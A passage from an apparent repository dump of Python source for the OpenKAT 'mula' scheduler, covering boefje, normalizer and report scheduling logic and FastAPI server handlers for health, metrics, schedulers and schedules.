-> bool:\n        \"\"\"Check if the same task is already running.\n\n        Args:\n            task: The BoefjeTask to check.\n\n        Returns:\n            True if the task is still running, False otherwise.\n        \"\"\"\n        # Is task still running according to the datastore?\n        if task_db is not None and task_db.status not in [models.TaskStatus.FAILED, models.TaskStatus.COMPLETED]:\n            self.logger.debug(\n                \"Task is still running, according to the datastore\", task_id=task_db.id, scheduler_id=self.scheduler_id\n            )\n            return True\n\n        # Task has been finished (failed, or succeeded) according to\n        # the datastore, but we have no results of it in bytes, meaning\n        # we have a problem. However when the grace period has been reached we\n        # should not raise an error.\n        if (\n            task_bytes is None\n            and task_db is not None\n            and task_db.status in [models.TaskStatus.COMPLETED, models.TaskStatus.FAILED]\n            and (\n                task_db.modified_at is not None\n                and task_db.modified_at\n                > datetime.now(timezone.utc) - timedelta(seconds=self.ctx.config.pq_grace_period)\n            )\n        ):\n            self.logger.error(\n                \"Task has been finished, but no results found in bytes, \"\n                \"please review the bytes logs for more information regarding \"\n                \"this error.\",\n                task_id=task_db.id,\n                scheduler_id=self.scheduler_id,\n            )\n            raise RuntimeError(\"Task has been finished, but no results found in bytes\")\n\n        if task_bytes is not None and task_bytes.ended_at is None and task_bytes.started_at is not None:\n            self.logger.debug(\n                \"Task is still running, according to bytes\", task_id=task_bytes.id, scheduler_id=self.scheduler_id\n            )\n            return True\n\n        return False\n\n    def has_boefje_task_stalled(self, task_db: models.Task | None, task: models.BoefjeTask) -> bool:\n        \"\"\"Check if the same task is stalled.\n\n        Args:\n            task: The BoefjeTask to check.\n\n        Returns:\n            True if the task is stalled, False otherwise.\n        \"\"\"\n        if (\n            task_db is not None\n            and (task_db.status == models.TaskStatus.DISPATCHED or task_db.status == models.TaskStatus.RUNNING)\n            and (\n                task_db.modified_at is not None\n                and datetime.now(timezone.utc)\n                > task_db.modified_at + timedelta(seconds=self.ctx.config.pq_grace_period)\n            )\n        ):\n            return True\n\n        return False\n\n    def has_boefje_task_grace_period_passed(\n        self, task_db: models.Task | None, task_bytes: models.BoefjeMeta | None, task: models.BoefjeTask\n    ) -> bool:\n        \"\"\"Check if the grace period has passed for a task in both the\n        datastore and bytes.\n\n        NOTE: We don't check the status of the task since this needs to be done\n        by checking if the task is still running or not.\n\n        Args:\n            task: Task to check.\n\n        Returns:\n            True if the grace period has passed, False otherwise.\n        \"\"\"\n        # Does boefje have an interval specified?\n        plugin = self.ctx.services.katalogus.get_plugin_by_id_and_org_id(task.boefje.id, task.organization)\n        if plugin is not None and plugin.interval is not None and plugin.interval > 0:\n            timeout = timedelta(minutes=plugin.interval)\n        else:\n            timeout = timedelta(seconds=self.ctx.config.pq_grace_period)\n\n        # Has grace period passed according to datastore?\n        if task_db is not None and datetime.now(timezone.utc) - task_db.modified_at < timeout:\n            self.logger.debug(\n                \"Task has not passed grace period, according to the datastore\",\n                task_id=task_db.id,\n                task_hash=task.hash,\n                scheduler_id=self.scheduler_id,\n            )\n            return False\n\n        # Did the grace period pass, according to bytes?\n        if (\n            task_bytes is not None\n            and task_bytes.ended_at is not None\n            and datetime.now(timezone.utc) - task_bytes.ended_at < timeout\n        ):\n            self.logger.debug(\n                \"Task has not passed grace period, according to bytes\",\n                task_id=task_bytes.id,\n                task_hash=task.hash,\n                scheduler_id=self.scheduler_id,\n            )\n            return False\n\n        return True\n\n    def get_oois_for_boefje(self, boefje: models.Plugin, organisation: str) -> Iterator[models.OOI]:\n        if boefje.enabled is False:\n            return\n        yield from self.ctx.services.octopoes.get_objects_by_object_types(\n            organisation,\n            boefje.consumes,\n            list(range(boefje.scan_level, 5)),  # type: ignore\n        )\n\n    @exception_handler\n    def is_boefje_in_other_orgs(self, boefje_task: models.BoefjeTask) -> list[models.BoefjeTask]:\n        \"\"\"Check if the boefje is also present in other organisations\"\"\"\n        # We check on input_ooi because we allow for boefje tasks without an\n        # ooi, something we can't deduplicate.\n        if boefje_task.input_ooi is None:\n            return []\n\n        configs = self.ctx.services.katalogus.get_configs(\n            boefje_id=boefje_task.boefje.id,\n            organisation_id=boefje_task.organization,\n            enabled=True,\n            with_duplicates=True,\n        )\n        if not configs:\n            self.logger.debug(\n                \"No configs found for boefje\",\n                boefje_id=boefje_task.boefje.id,\n                organisation_id=boefje_task.organization,\n                scheduler_id=self.scheduler_id,\n            )\n            return []\n\n        other_orgs_from_configs = [config.organisation_id for config in configs[0].duplicates]\n\n        # We're only interested in the organisations that have\n        # the same input_ooi as the boefje task\n        orgs = self.ctx.services.octopoes.get_object_clients(\n            reference=boefje_task.input_ooi, clients=set(other_orgs_from_configs), valid_time=datetime.now(timezone.utc)\n        )\n        if not orgs:\n            self.logger.debug(\n                \"No organisations found for input ooi\",\n                input_ooi=boefje_task.input_ooi,\n                organisation_id=boefje_task.organization,\n                scheduler_id=self.scheduler_id,\n            )\n            return []\n\n        boefje = self.ctx.services.katalogus.get_plugin_by_id_and_org_id(\n            boefje_task.boefje.id, boefje_task.organization\n        )\n        if boefje is None:\n            return []\n\n        tasks = []\n        for config in configs[0].duplicates:\n            if config.organisation_id == boefje_task.organization:\n                self.logger.debug(\n                    \"Skipping organisation of original boefje task\",\n                    boefje_id=boefje_task.boefje.id,\n                    ooi_primary_key=boefje_task.input_ooi,\n                    organisation_id=config.organisation_id,\n                    scheduler_id=self.scheduler_id,\n                )\n                continue\n\n            if config.organisation_id not in orgs:\n                self.logger.debug(\n                    \"OOI does not exist anymore in duplicated organisation, skipping\",\n                    boefje_id=boefje_task.boefje.id,\n                    ooi_primary_key=boefje_task.input_ooi,\n                    organisation_id=config.organisation_id,\n                    scheduler_id=self.scheduler_id,\n                )\n                continue\n\n            ooi = orgs[config.organisation_id]\n            if not self.has_boefje_permission_to_run(boefje, ooi):\n                self.logger.debug(\n                    \"Boefje not allowed to run on ooi\",\n                    boefje_id=boefje_task.boefje.id,\n                    ooi_primary_key=boefje_task.input_ooi,\n                    organisation_id=config.organisation_id,\n                    scheduler_id=self.scheduler_id,\n                )\n                continue\n\n            new_boefje_task = models.BoefjeTask(\n                boefje=models.Boefje.model_validate(boefje.model_dump()),\n                input_ooi=boefje_task.input_ooi,\n                organization=config.organisation_id,\n                deduplication_key=boefje_task.id,\n            )\n\n            task = models.Task(\n                id=new_boefje_task.id,\n                scheduler_id=self.scheduler_id,\n                organisation=config.organisation_id,\n                type=self.ITEM_TYPE.type,\n                hash=new_boefje_task.hash,\n                data=new_boefje_task.model_dump(),\n            )\n\n            task.priority = self.ranker.rank(task)\n            tasks.append(task)\n\n        return tasks\n\n    @override\n    def calculate_deadline(self, schedule: models.Schedule) -> models.Schedule:\n        \"\"\"Override Scheduler.calculate_deadline() to calculate the deadline\n        for a task and based on the boefje interval.\"\"\"\n        boefje_task = models.BoefjeTask.model_validate(schedule.data)\n        plugin = self.ctx.services.katalogus.get_plugin_by_id_and_org_id(boefje_task.boefje.id, schedule.organisation)\n\n        # Does a boefje have a schedule defined?\n        if plugin.cron is not None:\n            schedule.schedule = plugin.cron\n\n        # Does the boefje have an interval defined?\n        if plugin.interval is not None and plugin.interval > 0:\n            schedule.deadline_at = datetime.now(timezone.utc) + timedelta(minutes=plugin.interval)\n\n        return super().calculate_deadline(schedule)\n"
  },
  {
    "path": "mula/scheduler/schedulers/schedulers/normalizer.py",
    "content": "import uuid\nfrom concurrent import futures\nfrom typing import Any, Literal\n\nfrom opentelemetry import trace\nfrom pydantic import ValidationError\nfrom typing_extensions import override\n\nfrom scheduler import clients, context, models\nfrom scheduler.models import BoefjeTask\nfrom scheduler.schedulers import Scheduler, rankers\nfrom scheduler.schedulers.errors import exception_handler\n\ntracer = trace.get_tracer(__name__)\n\n\nclass NormalizerScheduler(Scheduler):\n    \"\"\"Scheduler implementation for the creation of NormalizerTask models.\n\n    Attributes:\n        ranker: The ranker to calculate the priority of a task.\n    \"\"\"\n\n    ID: Literal[\"normalizer\"] = \"normalizer\"\n    TYPE: models.SchedulerType = models.SchedulerType.NORMALIZER\n    ITEM_TYPE: Any = models.NormalizerTask\n\n    def __init__(self, ctx: context.AppContext):\n        \"\"\"Initializes the NormalizerScheduler.\n\n        Args:\n            ctx (context.AppContext): Application context of shared data (e.g.\n                configuration, external services connections).\n        \"\"\"\n        super().__init__(ctx=ctx, scheduler_id=self.ID, create_schedule=False, auto_calculate_deadline=False)\n        self.ranker = rankers.NormalizerRanker(ctx=self.ctx)\n\n    def run(self) -> None:\n        \"\"\"The run method is called when the scheduler is started. It will\n        start the listeners and the scheduling loops in separate threads. It\n        is mainly tasked with populating the queue with tasks.\n\n        * Raw data listener: This listener will listen to the raw file received\n        messaging queue. When a new raw file is received, it will create a task\n        for each normalizer that is registered for the mime type of the raw\n        file.\n        \"\"\"\n        self.listeners[\"raw_data\"] = clients.RawData(\n            dsn=str(self.ctx.config.host_raw_data),\n            queue=\"raw_file_received\",\n            func=self.process_raw_data,\n            prefetch_count=self.ctx.config.rabbitmq_prefetch_count,\n        )\n\n        self.run_in_thread(name=\"NormalizerScheduler-raw_file\", target=self.listeners[\"raw_data\"].listen, loop=False)\n\n        self.logger.info(\n            \"Normalizer scheduler started\", scheduler_id=self.scheduler_id, item_type=self.queue.item_type.__name__\n        )\n\n    @tracer.start_as_current_span(\"NormalizerScheduler.process_raw_data\")\n    def process_raw_data(self, body: bytes) -> None:\n        \"\"\"Create tasks for the received raw data.\n\n        Args:\n            latest_raw_data: A `RawData` object that was received from the\n            message queue.\n        \"\"\"\n        try:\n            # Convert body into a RawDataReceivedEvent\n            latest_raw_data = models.RawDataReceivedEvent.model_validate_json(body)\n            self.logger.debug(\n                \"Received raw data %s\",\n                latest_raw_data.raw_data.id,\n                raw_data_id=latest_raw_data.raw_data.id,\n                scheduler_id=self.scheduler_id,\n            )\n        except ValidationError:\n            self.logger.exception(\"Failed to validate raw data\", scheduler_id=self.scheduler_id)\n            return\n\n        # check if the boefje has decided the task does not fit it's logic,\n        # eg scanning tls on a non tls port number, or doing a puclib info\n        # lookup for a local IP-address. In this case the boefje signals\n        # the mimetype for this is: openkat/deschedule\n\n        if self.has_raw_data_deschedule(latest_raw_data.raw_data):\n            task = BoefjeTask.model_validate(\n                {\n                    \"boefje\": latest_raw_data.raw_data.boefje_meta.boefje,\n                    \"input_ooi\": latest_raw_data.raw_data.boefje_meta.input_ooi,\n                    \"organization\": latest_raw_data.raw_data.boefje_meta.organization,\n                }\n            )\n            self.logger.debug(\"deschedule received for task\", task=task)\n            # lets disable the schedule that was responsible for this job.\n            schedule = self.ctx.datastores.schedule_store.get_schedule_by_hash(task.hash)\n            if schedule:\n                self.ctx.datastores.schedule_store.delete_schedule(schedule.id)\n            return\n\n        # Check if the raw data doesn't contain an error mime-type,\n        # we don't need to create normalizers when the raw data returned\n        # an error.\n        if self.has_raw_data_errors(latest_raw_data.raw_data):\n            self.logger.debug(\n                \"Skipping raw data %s with 'error' mime type\",\n                latest_raw_data.raw_data.id,\n                raw_data_id=latest_raw_data.raw_data.id,\n            )\n            return\n\n        # Get all unique normalizers for the mime types of the raw data\n        normalizers: dict[str, models.Plugin] = {}\n        for mime_type in latest_raw_data.raw_data.mime_types:\n            normalizers_by_mime_type = self.ctx.services.katalogus.get_normalizers_by_org_id_and_type(\n                latest_raw_data.organization, mime_type.get(\"value\")\n            )\n\n            self.logger.debug(\n                \"Found normalizers for mime type\",\n                mime_type=mime_type.get(\"value\"),\n                normalizers=normalizers_by_mime_type,\n            )\n\n            for normalizer in normalizers_by_mime_type:\n                normalizers[normalizer.id] = normalizer\n\n        unique_normalizers = list(normalizers.values())\n\n        self.logger.debug(\n            \"Found normalizers for raw data\",\n            raw_data_id=latest_raw_data.raw_data.id,\n            mime_types=[mime_type.get(\"value\") for mime_type in latest_raw_data.raw_data.mime_types],\n            normalizers=[normalizer.id for normalizer in unique_normalizers],\n            scheduler_id=self.scheduler_id,\n        )\n\n        # Create tasks for the normalizers\n        normalizer_tasks = []\n        for normalizer in unique_normalizers:\n            if not self.has_normalizer_permission_to_run(normalizer):\n                self.logger.debug(\n                    \"Normalizer is not allowed to run: %s\",\n                    normalizer.id,\n                    normalizer_id=normalizer.id,\n                    scheduler_id=self.scheduler_id,\n                )\n                continue\n\n            normalizer_task = models.NormalizerTask(\n                normalizer=models.Normalizer.model_validate(normalizer.model_dump()), raw_data=latest_raw_data.raw_data\n            )\n\n            normalizer_tasks.append(normalizer_task)\n\n        with futures.ThreadPoolExecutor(thread_name_prefix=f\"TPE-{self.scheduler_id}-raw_data\") as executor:\n            for normalizer_task in normalizer_tasks:\n                future = executor.submit(\n                    self.push_normalizer_task, normalizer_task, latest_raw_data.organization, self.create_schedule\n                )\n                future.add_done_callback(self.log_future_exceptions)\n\n    @exception_handler\n    @tracer.start_as_current_span(\"NormalizerScheduler.push_normalizer_task\")\n    def push_normalizer_task(\n        self, normalizer_task: models.NormalizerTask, organisation_id: str, create_schedule: bool, caller: str = \"\"\n    ) -> None:\n        is_running = self.has_normalizer_task_started_running(normalizer_task)\n        if is_running:\n            self.logger.debug(\n                \"Task is still running: %s\",\n                normalizer_task.id,\n                task_id=normalizer_task.id,\n                scheduler_id=self.scheduler_id,\n                caller=caller,\n            )\n            return\n\n        task = models.Task(\n            id=normalizer_task.id,\n            scheduler_id=self.scheduler_id,\n            organisation=organisation_id,\n            type=normalizer_task.type,\n            hash=normalizer_task.hash,\n            data=normalizer_task.model_dump(),\n        )\n\n        task.priority = self.ranker.rank(normalizer_task)\n        self.push_item_to_queue_with_timeout(task, self.max_tries, create_schedule=create_schedule)\n\n        self.logger.info(\n            \"Created normalizer task\",\n            task_id=task.id,\n            task_hash=task.hash,\n            normalizer_id=normalizer_task.normalizer.id,\n            raw_data_id=normalizer_task.raw_data.id,\n            scheduler_id=self.scheduler_id,\n            organisation_id=organisation_id,\n            caller=caller,\n        )\n\n    @override\n    def push_item_to_queue(self, item: models.Task, create_schedule: bool = True) -> models.Task:\n        \"\"\"Some normalizer scheduler specific logic before pushing the item to the\n        queue.\n\n        The task.id and the normalizer_task.id should be the same, this assumption\n        is made by the task runner. Here we enforce this by setting the\n        boefje_task.id to the task.id if they are not the same.\n        \"\"\"\n        normalizer_task = models.NormalizerTask.model_validate(item.data)\n\n        # Check if id's are unique and correctly set. Same id's are necessary\n        # for the task runner.\n        if item.id != normalizer_task.id:\n            new_id = uuid.uuid4()\n\n            normalizer_task.id = new_id\n            item.id = new_id\n            item.data = normalizer_task.model_dump()\n\n        return super().push_item_to_queue(item=item, create_schedule=create_schedule)\n\n    def has_normalizer_permission_to_run(self, normalizer: models.Plugin) -> bool:\n        \"\"\"Check if the task is allowed to run.\n\n        Args:\n            normalizer: The normalizer to check.\n\n        Returns:\n            True if the task is allowed to run, False otherwise.\n        \"\"\"\n        if not normalizer.enabled:\n            self.logger.debug(\n                \"Normalizer: %s is disabled\", normalizer.id, normalizer_id=normalizer.id, scheduler_id=self.scheduler_id\n            )\n            return False\n\n        return True\n\n    def has_normalizer_task_started_running(\n        self, task: models.NormalizerTask, task_db: models.Task | None = None\n    ) -> bool:\n        \"\"\"Check if the same task is already running.\n\n        Args:\n            task: The NormalizerTask to check.\n\n        Returns:\n            True if the task is still running, False otherwise.\n        \"\"\"\n        # Is task still running according to the datastore?\n        if task_db is not None and task_db.status not in [models.TaskStatus.COMPLETED, models.TaskStatus.FAILED]:\n            self.logger.debug(\n                \"Task is still running, according to the datastore\",\n                task_id=task_db.id,\n                task_hash=task.hash,\n                scheduler_id=self.scheduler_id,\n            )\n            return True\n\n        return False\n\n    def has_raw_data_deschedule(self, raw_data: models.RawData) -> bool:\n        \"\"\"Check if the raw data contains a deschedule command.\n\n        Args:\n            raw_data: The raw data to check.\n\n        Returns:\n            True if the raw data contains the specific deschedule mimetype, False otherwise.\n        \"\"\"\n        return any(mime_type.get(\"value\", \"\") == \"openkat/deschedule\" for mime_type in raw_data.mime_types)\n\n    def has_raw_data_errors(self, raw_data: models.RawData) -> bool:\n        \"\"\"Check if the raw data contains errors.\n\n        Args:\n            raw_data: The raw data to check.\n\n        Returns:\n            True if the raw data contains errors, False otherwise.\n        \"\"\"\n        return any(mime_type.get(\"value\", \"\").startswith(\"error/\") for mime_type in raw_data.mime_types)\n"
  },
  {
    "path": "mula/scheduler/schedulers/schedulers/report.py",
    "content": "from concurrent import futures\nfrom datetime import datetime, timezone\nfrom typing import Any, Literal\n\nfrom opentelemetry import trace\n\nfrom scheduler import context, models\nfrom scheduler.schedulers import Scheduler\nfrom scheduler.schedulers.errors import exception_handler\nfrom scheduler.storage import filters\n\ntracer = trace.get_tracer(__name__)\n\n\nclass ReportScheduler(Scheduler):\n    \"\"\"Scheduler implementation for the creation of ReportTask models.\"\"\"\n\n    ID: Literal[\"report\"] = \"report\"\n    TYPE: models.SchedulerType = models.SchedulerType.REPORT\n    ITEM_TYPE: Any = models.ReportTask\n\n    def __init__(self, ctx: context.AppContext):\n        \"\"\"Initializes the NormalizerScheduler.\n\n        Args:\n            ctx (context.AppContext): Application context of shared data (e.g.\n                configuration, external services connections).\n        \"\"\"\n        super().__init__(ctx=ctx, scheduler_id=self.ID, create_schedule=True, auto_calculate_deadline=False)\n\n    def run(self) -> None:\n        \"\"\"The run method is called when the schedulers is started. It will\n        start the rescheduling process for the ReportTask models that are\n        scheduled.\n        \"\"\"\n        # Rescheduling\n        self.run_in_thread(name=\"ReportScheduler-rescheduling\", target=self.process_rescheduling, interval=60.0)\n        self.logger.info(\n            \"Report scheduler started\", scheduler_id=self.scheduler_id, item_type=self.queue.item_type.__name__\n        )\n\n    @tracer.start_as_current_span(name=\"ReportScheduler.process_rescheduling\")\n    def process_rescheduling(self):\n        schedules, _ = self.ctx.datastores.schedule_store.get_schedules(\n            filters=filters.FilterRequest(\n                filters=[\n                    filters.Filter(column=\"scheduler_id\", operator=\"eq\", value=self.scheduler_id),\n                    filters.Filter(column=\"deadline_at\", operator=\"lt\", value=datetime.now(timezone.utc)),\n                    filters.Filter(column=\"enabled\", operator=\"eq\", value=True),\n                ]\n            )\n        )\n\n        # Create report tasks for the schedules\n        report_tasks = []\n        for schedule in schedules:\n            report_task = models.ReportTask.model_validate(schedule.data)\n            report_tasks.append(report_task)\n\n        with futures.ThreadPoolExecutor(thread_name_prefix=f\"TPE-{self.scheduler_id}-rescheduling\") as executor:\n            for report_task in report_tasks:\n                executor.submit(\n                    self.push_report_task,\n                    report_task,\n                    report_task.organisation_id,\n                    self.create_schedule,\n                    self.process_rescheduling.__name__,\n                )\n\n    @exception_handler\n    @tracer.start_as_current_span(\"ReportScheduler.push_report_task\")\n    def push_report_task(\n        self, report_task: models.ReportTask, organisation_id: str, create_schedule: bool, caller: str = \"\"\n    ) -> None:\n        task = models.Task(\n            scheduler_id=self.scheduler_id,\n            organisation=organisation_id,\n            priority=int(datetime.now().timestamp()),\n            type=self.ITEM_TYPE.type,\n            hash=report_task.hash,\n            data=report_task.model_dump(),\n        )\n\n        self.push_item_to_queue_with_timeout(task, self.max_tries)\n\n        self.logger.info(\n            \"Created report task\",\n            task_id=task.id,\n            task_hash=task.hash,\n            scheduler_id=self.scheduler_id,\n            organisation_id=organisation_id,\n            caller=caller,\n        )\n"
  },
  {
    "path": "mula/scheduler/server/__init__.py",
    "content": "from .server import Server\n\n__all__ = [\"Server\"]\n"
  },
  {
    "path": "mula/scheduler/server/errors.py",
    "content": "import fastapi\nfrom fastapi import status\nfrom fastapi.responses import JSONResponse\n\nfrom scheduler import storage\n\n\nclass FilterError(storage.filters.errors.FilterError):\n    pass\n\n\nclass ValidationError(Exception):\n    pass\n\n\nclass StorageError(storage.errors.StorageError):\n    pass\n\n\nclass NotFoundError(Exception):\n    pass\n\n\nclass ConflictError(Exception):\n    pass\n\n\nclass BadRequestError(Exception):\n    pass\n\n\nclass TooManyRequestsError(Exception):\n    pass\n\n\ndef filter_error_handler(request: fastapi.Request, exc: FilterError):\n    return JSONResponse(status_code=status.HTTP_400_BAD_REQUEST, content={\"detail\": f\"Invalid filter(s): {exc}\"})\n\n\ndef storage_error_handler(request: fastapi.Request, exc: StorageError):\n    return JSONResponse(\n        status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, content={\"detail\": f\"A database error occurred: {exc}\"}\n    )\n\n\ndef validation_error_handler(request: fastapi.Request, exc: ValidationError):\n    return JSONResponse(\n        status_code=status.HTTP_400_BAD_REQUEST, content={\"detail\": f\"Validation error occurred: {exc}\"}\n    )\n\n\ndef conflict_error_handler(request: fastapi.Request, exc: ConflictError):\n    return JSONResponse(\n        headers={\"Retry-After\": \"60\"},\n        status_code=status.HTTP_409_CONFLICT,\n        content={\"detail\": f\"Conflict error occurred: {exc}\"},\n    )\n\n\ndef bad_request_error_handler(request: fastapi.Request, exc: BadRequestError):\n    return JSONResponse(\n        status_code=status.HTTP_400_BAD_REQUEST, content={\"detail\": f\"Bad request error occurred: {exc}\"}\n    )\n\n\ndef not_found_error_handler(request: fastapi.Request, exc: NotFoundError):\n    return JSONResponse(status_code=status.HTTP_404_NOT_FOUND, content={\"detail\": f\"Resource not found: {exc}\"})\n\n\ndef too_many_requests_error_handler(request: fastapi.Request, exc: TooManyRequestsError):\n    return JSONResponse(status_code=status.HTTP_429_TOO_MANY_REQUESTS, content={\"detail\": \"Too many requests\"})\n\n\ndef http_error_handler(request: fastapi.Request, exc: fastapi.HTTPException):\n    return JSONResponse(status_code=exc.status_code, content={\"detail\": exc.detail})\n"
  },
  {
    "path": "mula/scheduler/server/handlers/__init__.py",
    "content": "from .health import HealthAPI\nfrom .metrics import MetricsAPI\nfrom .root import RootAPI\nfrom .schedulers import SchedulerAPI\nfrom .schedules import ScheduleAPI\nfrom .tasks import TaskAPI\n"
  },
  {
    "path": "mula/scheduler/server/handlers/health.py",
    "content": "import fastapi\nimport structlog\nfrom fastapi import status\n\nfrom scheduler import context, version\nfrom scheduler.server import schemas\n\n\nclass HealthAPI:\n    def __init__(self, api: fastapi.FastAPI, ctx: context.AppContext) -> None:\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.api = api\n        self.ctx = ctx\n\n        self.api.add_api_route(\n            path=\"/health\",\n            endpoint=self.health,\n            methods=[\"GET\"],\n            response_model=schemas.ServiceHealth,\n            status_code=status.HTTP_200_OK,\n            description=\"Health check endpoint\",\n        )\n\n    def health(self, externals: bool = False) -> schemas.ServiceHealth:\n        response = schemas.ServiceHealth(service=\"scheduler\", healthy=True, version=version.__version__)\n\n        if externals:\n            for service in self.ctx.services.__dict__.values():\n                response.externals[service.name] = service.is_healthy()\n\n        return response\n"
  },
  {
    "path": "mula/scheduler/server/handlers/metrics.py",
    "content": "from typing import Any\n\nimport fastapi\nimport prometheus_client\nimport structlog\nfrom fastapi import status\nfrom opentelemetry import trace\nfrom opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter\nfrom opentelemetry.instrumentation.fastapi import FastAPIInstrumentor\nfrom opentelemetry.instrumentation.httpx import HTTPXClientInstrumentor\nfrom opentelemetry.instrumentation.psycopg2 import Psycopg2Instrumentor\nfrom opentelemetry.sdk.resources import SERVICE_NAME, Resource\nfrom opentelemetry.sdk.trace import TracerProvider\nfrom opentelemetry.sdk.trace.export import BatchSpanProcessor\n\nfrom scheduler import context\n\n\nclass MetricsAPI:\n    def __init__(self, api: fastapi.FastAPI, ctx: context.AppContext) -> None:\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.api = api\n        self.ctx = ctx\n\n        # Set up OpenTelemetry instrumentation\n        if self.ctx.config.host_metrics is not None:\n            self.logger.info(\n                \"Setting up instrumentation with span exporter endpoint [%s]\", self.ctx.config.host_metrics\n            )\n\n            FastAPIInstrumentor.instrument_app(self.api)\n            Psycopg2Instrumentor().instrument()\n            HTTPXClientInstrumentor().instrument()\n\n            resource = Resource(attributes={SERVICE_NAME: \"mula\"})\n            provider = TracerProvider(resource=resource)\n            processor = BatchSpanProcessor(OTLPSpanExporter(endpoint=str(self.ctx.config.host_metrics)))\n            provider.add_span_processor(processor)\n            trace.set_tracer_provider(provider)\n\n            self.logger.debug(\"Finished setting up OpenTelemetry instrumentation\")\n\n        self.api.add_api_route(\n            path=\"/metrics\",\n            endpoint=self.metrics,\n            methods=[\"GET\"],\n            status_code=status.HTTP_200_OK,\n            description=\"OpenMetrics compliant metrics endpoint\",\n        )\n\n    def metrics(self) -> Any:\n        data = prometheus_client.generate_latest(self.ctx.metrics_registry)\n        response = fastapi.Response(media_type=\"text/plain\", content=data)\n        return response\n"
  },
  {
    "path": "mula/scheduler/server/handlers/root.py",
    "content": "from typing import Any\n\nimport fastapi\nfrom fastapi import status\n\nfrom scheduler import context\n\n\nclass RootAPI:\n    \"\"\"Root API handler.\"\"\"\n\n    def __init__(self, api: fastapi.FastAPI, ctx: context.AppContext):\n        self.api = api\n        self.ctx = ctx\n\n        self.api.add_api_route(\n            path=\"/\", endpoint=self.root, methods=[\"GET\"], status_code=status.HTTP_200_OK, description=\"Root endpoint\"\n        )\n\n    def root(self) -> Any:\n        return None\n"
  },
  {
    "path": "mula/scheduler/server/handlers/schedulers.py",
    "content": "import fastapi\nimport structlog\nfrom fastapi import status\n\nfrom scheduler import context, models, schedulers, storage\nfrom scheduler.schedulers.queue import NotAllowedError, QueueFullError\nfrom scheduler.server import schemas\nfrom scheduler.server.errors import BadRequestError, ConflictError, NotFoundError, TooManyRequestsError\n\n\nclass SchedulerAPI:\n    def __init__(self, api: fastapi.FastAPI, ctx: context.AppContext, s: dict[str, schedulers.Scheduler]):\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.api: fastapi.FastAPI = api\n        self.ctx: context.AppContext = ctx\n        self.schedulers: dict[str, schedulers.Scheduler] = s\n\n        self.api.add_api_route(\n            path=\"/schedulers\",\n            endpoint=self.list,\n            methods=[\"GET\"],\n            response_model=list[schemas.Scheduler],\n            status_code=status.HTTP_200_OK,\n            description=\"List all schedulers\",\n        )\n\n        self.api.add_api_route(\n            path=\"/schedulers/{scheduler_id}\",\n            endpoint=self.get,\n            methods=[\"GET\"],\n            response_model=schemas.Scheduler,\n            status_code=status.HTTP_200_OK,\n            description=\"Get a scheduler\",\n        )\n\n        self.api.add_api_route(\n            path=\"/schedulers/{scheduler_id}/push\",\n            endpoint=self.push,\n            methods=[\"POST\"],\n            response_model=schemas.Task,\n            status_code=status.HTTP_201_CREATED,\n            description=\"Push a task to a scheduler\",\n        )\n\n        self.api.add_api_route(\n            path=\"/schedulers/{scheduler_id}/pop\",\n            endpoint=self.pop,\n            methods=[\"POST\"],\n            response_model=schemas.TaskPop,\n            status_code=status.HTTP_200_OK,\n            description=\"Pop a task from a scheduler\",\n        )\n\n    def list(self) -> list[schemas.Scheduler]:\n        return [schemas.Scheduler(**s.dict()) for s in self.schedulers.values()]\n\n    def get(self, scheduler_id: str) -> schemas.Scheduler:\n        s = self.schedulers.get(scheduler_id)\n        if s is None:\n            raise NotFoundError(f\"Scheduler {scheduler_id} not found\")\n\n        return schemas.Scheduler(**s.dict())\n\n    def pop(\n        self,\n        request: fastapi.Request,\n        scheduler_id: str,\n        limit: int | None = None,\n        filters: storage.filters.FilterRequest | None = None,\n    ) -> schemas.TaskPop:\n        s = self.schedulers.get(scheduler_id)\n        if s is None:\n            raise NotFoundError(f\"Scheduler {scheduler_id} not found\")\n\n        results = s.pop_item_from_queue(limit=limit, filters=filters)\n\n        return schemas.TaskPop(results=[schemas.Task(**item.model_dump()) for item in results])\n\n    def push(self, scheduler_id: str, item: schemas.TaskPush) -> schemas.Task:\n        s = self.schedulers.get(scheduler_id)\n        if s is None:\n            raise NotFoundError(f\"Scheduler {scheduler_id} not found\")\n\n        if item.scheduler_id is not None and item.scheduler_id != scheduler_id:\n            raise BadRequestError(\"scheduler_id in item does not match the scheduler_id in the path\")\n\n        # Set scheduler_id if not set\n        if item.scheduler_id is None:\n            item.scheduler_id = scheduler_id\n\n        # Load default values\n        new_item = models.Task(**item.model_dump(exclude_unset=True))\n\n        try:\n            pushed_item = s.push_item_to_queue(new_item)\n        except ValueError:\n            raise BadRequestError(\"malformed item\")\n        except QueueFullError:\n            raise TooManyRequestsError(\"queue is full\")\n        except NotAllowedError:\n            raise ConflictError(\"queue is not allowed to push items\")\n\n        return pushed_item\n"
  },
  {
    "path": "mula/scheduler/server/handlers/schedules.py",
    "content": "import datetime\nimport uuid\n\nimport fastapi\nimport structlog\nfrom fastapi import Body\n\nfrom scheduler import context, models, schedulers, storage\nfrom scheduler.server import schemas, utils\nfrom scheduler.server.errors import BadRequestError, ConflictError, NotFoundError, ValidationError\n\n\nclass ScheduleAPI:\n    def __init__(self, api: fastapi.FastAPI, ctx: context.AppContext, s: dict[str, schedulers.Scheduler]):\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.api: fastapi.FastAPI = api\n        self.ctx: context.AppContext = ctx\n        self.schedulers: dict[str, schedulers.Scheduler] = s\n\n        self.api.add_api_route(\n            path=\"/schedules\",\n            endpoint=self.list,\n            methods=[\"GET\"],\n            response_model=utils.PaginatedResponse,\n            status_code=200,\n            description=\"List all schedules\",\n        )\n\n        self.api.add_api_route(\n            path=\"/schedules\",\n            endpoint=self.create,\n            methods=[\"POST\"],\n            response_model=schemas.Schedule,\n            status_code=201,\n            description=\"Create a schedule\",\n        )\n\n        self.api.add_api_route(\n            path=\"/schedules/{schedule_id}\",\n            endpoint=self.get,\n            methods=[\"GET\"],\n            response_model=schemas.Schedule,\n            status_code=200,\n            description=\"Get a schedule\",\n        )\n\n        self.api.add_api_route(\n            path=\"/schedules/{schedule_id}\",\n            endpoint=self.patch,\n            methods=[\"PATCH\"],\n            response_model=schemas.Schedule,\n            response_model_exclude_unset=True,\n            status_code=200,\n            description=\"Update a schedule\",\n        )\n\n        self.api.add_api_route(\n       